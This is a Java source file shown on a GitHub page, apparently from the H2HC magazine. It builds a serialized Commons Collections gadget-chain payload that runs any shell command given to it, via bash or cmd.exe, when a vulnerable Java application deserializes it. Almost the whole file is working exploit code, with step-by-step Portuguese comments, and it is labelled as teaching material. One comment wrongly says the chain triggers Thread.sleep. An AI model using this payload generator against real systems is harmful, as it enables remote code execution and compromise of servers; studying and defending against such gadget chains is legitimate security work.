-
Notifications
You must be signed in to change notification settings - Fork 117
/
ExampleCommonsCollections1.java
129 lines (118 loc) · 6.93 KB
/
ExampleCommonsCollections1.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.*;
/**
* Gera payload que leva a execução de código durante a desserialização.
* São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
* ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
* do JRE, como trigger gadget.
* Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger)
* deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores,
* deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException
* ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser.
*
* -----------------------------------------------------------------------
* * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* * https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
*
* @author @joaomatosf
*/
public class ExampleCommonsCollections1 {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
// Verifica se o usuário forneceu o comando a ser executado
if (args.length != 1) {
System.out.println("Invalid params! \n" +
"Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
System.exit(1);
}
// Seleciona o interpretador correto de acordo com o comando a ser executado
//boolean isUnix = System.getProperty("file.separator").equals("/");
boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
String cmd[];
if (isUnix)
cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
else
cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
// Cria array de transformers que resulta na seguinte construção:
//((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
Transformer[] transformers = new Transformer[] {
// retorna Class Runtime.class
new ConstantTransformer(Runtime.class),
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
),
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
),
// 3o. Objeto InvokerTransformer: .exec(cmd[])
new InvokerTransformer(
"exec", // invoca método: exec
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
new Object[]{ cmd } ) // parâmetros: (cmd[])
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// Torna o construtor acessível
ctor.setAccessible(true);
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//cria a interface map
Class[] interfaces = new Class[] {java.util.Map.class};
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
}
}